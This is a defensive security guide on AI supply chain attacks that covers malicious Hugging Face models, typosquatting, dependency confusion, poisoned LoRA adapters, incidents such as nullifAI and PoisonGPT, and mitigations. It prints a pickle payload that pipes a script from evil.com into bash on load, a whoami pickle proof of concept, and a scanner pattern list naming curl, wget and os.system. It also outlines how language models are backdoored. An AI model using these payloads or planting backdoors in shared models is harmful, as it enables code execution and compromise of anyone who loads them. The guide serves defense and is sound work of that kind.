Supply Chain Vulnerabilities in AI: The New Frontier

OWASP elevated Supply Chain vulnerabilities to #3 in their 2025 LLM Top 10—up from #5 in 2023. The risk has broadened beyond traditional software dependencies to include pre-trained models, fine-tuning data, and model serving infrastructure.

In 2025, malicious package uploads to open-source repositories jumped 156%. Attackers aren't just targeting code anymore—they're poisoning the models themselves.

This guide covers the attack vectors, real-world incidents, and defenses for securing your AI supply chain.

Why AI Supply Chains Are Different

Traditional software supply chains involve code dependencies. AI supply chains add layers of complexity:

Component	Traditional Software	AI Systems
Code	NPM, PyPI packages	Same + model code
Data	Configuration files	Training data, fine-tuning data
Models	N/A	Pre-trained models, adapters
Inference	N/A	Model serving infrastructure
Updates	Package updates	Model weights, LoRA adapters

Each layer represents an attack surface. A malicious actor can compromise your system through any of them.

The Model Supply Chain

Pre-trained Models

Organizations increasingly depend on third-party models from platforms like Hugging Face, which hosts over 700,000 models. OWASP notes:

"Creating LLMs is a specialized task that often depends on third-party models. The rise of open-access LLMs and new fine-tuning methods like LoRA and PEFT, especially on platforms like Hugging Face, introduce new supply-chain risks."

Fine-tuning Adapters

LoRA (Low-Rank Adaptation) and PEFT (Parameter-Efficient Fine-Tuning) adapters are small files that modify model behavior. A malicious adapter can:

Introduce backdoors
Alter model outputs for specific triggers
Exfiltrate data through model responses

Model Serialization Formats

Most models use serialization formats like Pickle that can execute arbitrary code:

python

# Malicious Pickle payload hidden in model weights
import pickle
import os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('curl https://evil.com/steal.sh | bash',))

# When model is loaded, this executes
model = pickle.load(open('poisoned_model.pkl', 'rb'))

Real-World Attacks in 2025

The nullifAI Campaign (February 2025)

ReversingLabs discovered two malicious ML models on Hugging Face that evaded Picklescan, the platform's security scanner:

Models appeared legitimate but contained hidden malware
Exploited weaknesses in Picklescan's blacklist approach
Demonstrated that security scanning isn't foolproof

Fake Alibaba AI SDKs (May 2025)

Attackers uploaded three malicious PyPI packages:

aliyun-ai-labs-snippets-sdk
ai-labs-snippets-sdk
aliyun-ai-labs-sdk

These packages posed as legitimate Alibaba AI Labs SDKs but delivered infostealer payloads hidden inside PyTorch models.

2025 Cloud Credential Theft Campaign

ReversingLabs uncovered 20 malicious Python packages with over 14,100 downloads, targeting:

AWS credentials
Alibaba Cloud credentials
Tencent Cloud credentials

NullBulge Supply Chain Attacks

A threat actor called NullBulge conducted coordinated attacks:

Compromised the ComfyUI_LLMVISION extension on GitHub
Distributed malicious code through Hugging Face
Exfiltrated data via Discord webhooks
Delivered customized LockBit ransomware

PoisonGPT

Researchers demonstrated direct model tampering using ROME (Rank-One Model Editing):

Modified GPT-J model to spread misinformation
Bypassed Hugging Face safety features
Published poisoned model for public download

Attack Vectors

Vector 1: Malicious Pre-trained Models

Attackers upload poisoned models to public platforms:

text

Attack Flow:
1. Create model with embedded backdoor
2. Train on poisoned data OR directly edit weights
3. Publish to Hugging Face/GitHub with legitimate-looking description
4. Wait for victims to download and integrate
5. Backdoor activates on specific triggers

Vector 2: Typosquatting

text

Legitimate:  meta-llama/Llama-3.3-70B-Instruct
Malicious:   meta-llama/Llama-3.3-70B-lnstruct  # 'l' instead of 'I'

Legitimate:  transformers
Malicious:   transfomers, transformer, transformrs

Vector 3: Dependency Confusion

Publish internal package names to public registries:

text

Internal package: company-ml-utils (private PyPI)
Attack: Upload company-ml-utils to public PyPI
Result: Build systems may pull from public registry

Vector 4: Compromised Update Channels

Attack the update mechanism rather than initial installation:

text

1. Monitor for popular model updates
2. Compromise developer account or infrastructure
3. Push malicious update
4. All existing users receive poisoned version

Vector 5: Adapter/LoRA Poisoning

Fine-tuning adapters are small, easy to distribute, and often less scrutinized:

python

# Malicious LoRA adapter that introduces backdoor
# Looks like a helpful domain-specific fine-tune
from peft import PeftModel

# This adapter looks legitimate but contains backdoor
model = PeftModel.from_pretrained(
    base_model,
    "attacker/helpful-looking-adapter"  # Contains hidden backdoor
)

Model Format Risks

95% of malicious Hugging Face models use PyTorch, which relies on Pickle serialization. The remaining 5% use TensorFlow Keras.

Why Pickle is Dangerous

Pickle can execute arbitrary code during deserialization:

python

import pickle

# Any Python object can define __reduce__ to execute code
class Exploit:
    def __reduce__(self):
        import subprocess
        return (subprocess.run, (['whoami'],))

# Serialize exploit
payload = pickle.dumps(Exploit())

# This runs 'whoami' when loaded
pickle.loads(payload)

Safer Alternatives

Format	Code Execution Risk	Notes
Pickle (.pkl, .pt)	HIGH	Default for PyTorch
SavedModel (.pb)	MEDIUM	TensorFlow, can embed ops
SafeTensors	LOW	Weights only, no code
ONNX	LOW	Computation graph only

Defense Strategies

Layer 1: Model Provenance

Verify model authenticity before use:

python

import hashlib
from huggingface_hub import hf_hub_download

def verify_model_provenance(repo_id: str, filename: str, expected_hash: str):
    """Download and verify model hash."""
    local_path = hf_hub_download(repo_id=repo_id, filename=filename)

    with open(local_path, 'rb') as f:
        actual_hash = hashlib.sha256(f.read()).hexdigest()

    if actual_hash != expected_hash:
        raise SecurityError(f"Hash mismatch for {repo_id}/{filename}")

    return local_path

# Usage
model_path = verify_model_provenance(
    "meta-llama/Llama-3.3-70B-Instruct",
    "model.safetensors",
    "a1b2c3d4e5f6..."  # Known good hash
)

Layer 2: SafeTensors Format

Use SafeTensors instead of Pickle when possible:

python

from safetensors import safe_open
from safetensors.torch import load_file

# Safe loading - no code execution
tensors = load_file("model.safetensors")

# For transformers library
from transformers import AutoModel

model = AutoModel.from_pretrained(
    "model-name",
    use_safetensors=True  # Enforce SafeTensors format
)

Layer 3: Software Bill of Materials (SBOM)

Track all AI components:

yaml

# ai-sbom.yaml
version: "1.0"
application: "my-ai-service"
components:
  models:
    - name: "llama-3.3-70b"
      source: "meta-llama/Llama-3.3-70B-Instruct"
      version: "2025.01"
      hash: "sha256:a1b2c3d4..."
      license: "Meta Llama 3.3"
      verified_date: "2025-01-15"

    - name: "embedding-model"
      source: "sentence-transformers/all-MiniLM-L6-v2"
      version: "2.0"
      hash: "sha256:e5f6g7h8..."
      license: "Apache-2.0"
      verified_date: "2025-01-15"

  adapters:
    - name: "domain-adapter"
      source: "internal"
      version: "1.2.0"
      hash: "sha256:i9j0k1l2..."

  dependencies:
    - name: "transformers"
      version: "4.40.0"
      vulnerability_scan_date: "2025-01-15"

Layer 4: Model Scanning

Implement automated scanning before deployment:

python

import subprocess
from pathlib import Path

def scan_model(model_path: Path) -> dict:
    """Scan model for known malicious patterns."""
    results = {
        "path": str(model_path),
        "pickle_scan": None,
        "code_scan": None,
        "passed": True
    }

    # Run Picklescan
    try:
        result = subprocess.run(
            ["picklescan", "-p", str(model_path)],
            capture_output=True,
            text=True
        )
        results["pickle_scan"] = {
            "passed": result.returncode == 0,
            "output": result.stdout
        }
        if result.returncode != 0:
            results["passed"] = False
    except Exception as e:
        results["pickle_scan"] = {"error": str(e)}
        results["passed"] = False

    # Additional custom scans
    if model_path.suffix in ['.py', '.pkl', '.pt']:
        suspicious_patterns = [
            'subprocess',
            'os.system',
            'eval(',
            'exec(',
            '__reduce__',
            'curl',
            'wget',
        ]
        content = model_path.read_text() if model_path.suffix == '.py' else ''
        for pattern in suspicious_patterns:
            if pattern in content:
                results["code_scan"] = {"warning": f"Found: {pattern}"}
                results["passed"] = False

    return results

Layer 5: Vendor Assessment

Evaluate third-party model providers:

text

Model Provider Checklist:
[ ] Organization identity verified
[ ] Model training data documented
[ ] Security practices published
[ ] Vulnerability disclosure process
[ ] Model provenance/signing implemented
[ ] Regular security audits
[ ] Incident response capability
[ ] Insurance/liability coverage

Layer 6: Runtime Isolation

Sandbox model inference:

python

import docker

def create_model_sandbox(model_path: str) -> docker.Container:
    """Create isolated container for model inference."""
    client = docker.from_env()

    container = client.containers.run(
        "model-inference:latest",
        detach=True,
        volumes={
            model_path: {'bind': '/model', 'mode': 'ro'}
        },
        network_mode='none',  # No network access
        mem_limit='8g',
        cpu_period=100000,
        cpu_quota=50000,  # 50% CPU
        read_only=True,
        security_opt=['no-new-privileges'],
    )

    return container

Detection and Monitoring

Anomaly Detection

Monitor for suspicious model behavior:

python

class ModelBehaviorMonitor:
    def __init__(self, baseline_metrics: dict):
        self.baseline = baseline_metrics
        self.alerts = []

    def check_inference(self, input_data: dict, output: dict, metrics: dict):
        # Check latency anomaly
        if metrics['latency'] > self.baseline['latency'] * 3:
            self.alerts.append({
                'type': 'latency_spike',
                'value': metrics['latency'],
                'threshold': self.baseline['latency'] * 3
            })

        # Check output distribution
        if self.output_distribution_shifted(output):
            self.alerts.append({
                'type': 'distribution_shift',
                'details': 'Output distribution differs from baseline'
            })

        # Check for data exfiltration patterns
        if self.contains_exfil_patterns(output):
            self.alerts.append({
                'type': 'potential_exfiltration',
                'severity': 'critical'
            })

        return self.alerts

Dependency Monitoring

Track and alert on supply chain changes:

yaml

# GitHub Actions dependency monitoring
name: AI Supply Chain Monitor
on:
  schedule:
    - cron: '0 */6 * * *'  # Every 6 hours

jobs:
  check-dependencies:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Check for vulnerable packages
        run: |
          pip-audit --requirement requirements.txt

      - name: Verify model hashes
        run: |
          python scripts/verify_model_hashes.py

      - name: Check for new CVEs
        run: |
          python scripts/check_ai_cves.py

Supply Chain Security Checklist

Model Sourcing

[ ] Only use models from verified organizations
[ ] Verify model hashes before deployment
[ ] Prefer SafeTensors over Pickle formats
[ ] Document all model sources in SBOM

Dependency Management

[ ] Pin all package versions
[ ] Use private package registries
[ ] Implement dependency confusion protection
[ ] Regular vulnerability scanning

Runtime Security

[ ] Sandbox model inference
[ ] Implement network isolation
[ ] Monitor model behavior
[ ] Alert on anomalies

Incident Response

[ ] Model rollback procedures
[ ] Compromise detection playbooks
[ ] Vendor notification processes
[ ] User communication plans

Practice AI Security

Understanding supply chain attacks helps you build more secure AI systems. Explore our security challenges to practice identifying vulnerabilities in AI systems.

---

AI supply chain security is evolving rapidly. This guide will be updated as new threats and defenses emerge. Last updated: December 2025.

Why AI Supply Chains Are Different

The Model Supply Chain

Pre-trained Models

Fine-tuning Adapters

Model Serialization Formats

Real-World Attacks in 2025

The nullifAI Campaign (February 2025)

Fake Alibaba AI SDKs (May 2025)

2025 Cloud Credential Theft Campaign

NullBulge Supply Chain Attacks

PoisonGPT

Attack Vectors

Vector 1: Malicious Pre-trained Models

Vector 2: Typosquatting

Vector 3: Dependency Confusion

Vector 4: Compromised Update Channels

Vector 5: Adapter/LoRA Poisoning

Model Format Risks

Why Pickle is Dangerous

Safer Alternatives

Defense Strategies

Layer 1: Model Provenance

Layer 2: SafeTensors Format

Layer 3: Software Bill of Materials (SBOM)

Layer 4: Model Scanning

Layer 5: Vendor Assessment

Layer 6: Runtime Isolation

Detection and Monitoring

Anomaly Detection

Dependency Monitoring

Supply Chain Security Checklist

Practice AI Security

Stay ahead of vulnerabilities